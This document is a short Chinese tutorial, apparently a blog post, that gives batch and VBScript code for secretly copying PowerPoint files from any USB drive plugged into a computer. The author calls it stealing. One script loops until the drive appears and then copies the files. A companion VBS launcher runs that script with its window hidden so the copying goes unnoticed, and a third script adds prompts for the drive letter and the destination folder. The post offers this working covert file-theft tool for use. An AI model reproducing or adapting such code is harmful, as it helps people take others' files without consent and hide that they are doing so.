運行后當把U盤插入電腦后能夠自動把U盤里的PPT偷拷下來。下面用記事本就能實現(xiàn)的批處理或vbs。
思路很簡單,高層的東西沒什么技術含量,引用幾個函數(shù)或方法就行了。開始我用的是批處理(如果你插入U盤的盤符是J,把課件保存于F盤)打開記事本,鍵入以下內容:
代碼如下:
:cheat
ping 127.0.0.1>nul
if exist J:\*.ppt (copy J:\*.ppt F:\ && exit) else goto cheat
保存為main.bat,本來這個文件就夠實現(xiàn)此功能了,但我想不到有什么DOS命令可以隱藏命令提示符界面,就不得不編了一個vbs腳本專門干這事:
打開記事本鍵入:
代碼如下:
set wshshell=createobject("wscript.shell")
wshshell.run "main.bat",0
msgbox"已經注入",48,"夜月"
wscript.quit
保存為starter.vbs,注意這個文件要和main.bat放于同一目錄下。然后雙擊starter.vbs即可運行。
后來,我想用vbs腳本可以搞得更牛叉一點,但這東西已經好長時間不玩了,我連inputbox都不知道怎么用的了,試了幾次才搞得好了一點。很方便,打開記事本,鍵入:
代碼如下:
on error resume next
dim udrive,dfold,src,ptr
set fso=createobject("Scripting.FileSystemObject")
do
udrive=inputbox("請按如下形式輸入U盤盤符","用戶指令",H)
loop until(udrive<="Z" and udrive>"B")
dfold=inputbox("請輸入目標文件夾","用戶指令","F:\Temp")
if (not fso.folderexists(dfold)) then
fso.createfolder(dfold)
end if
src=udrive + ":\*.ppt"
ptr=dfold + "\"
do while(1=1)
if fso.driveexists(udrive) then
fso.copyfile src,ptr,true
set fso=nothing
wscript.quit
end if
wscript.sleep 2000
loop
以上內容另存為xue.vbs即可,雙擊后運行。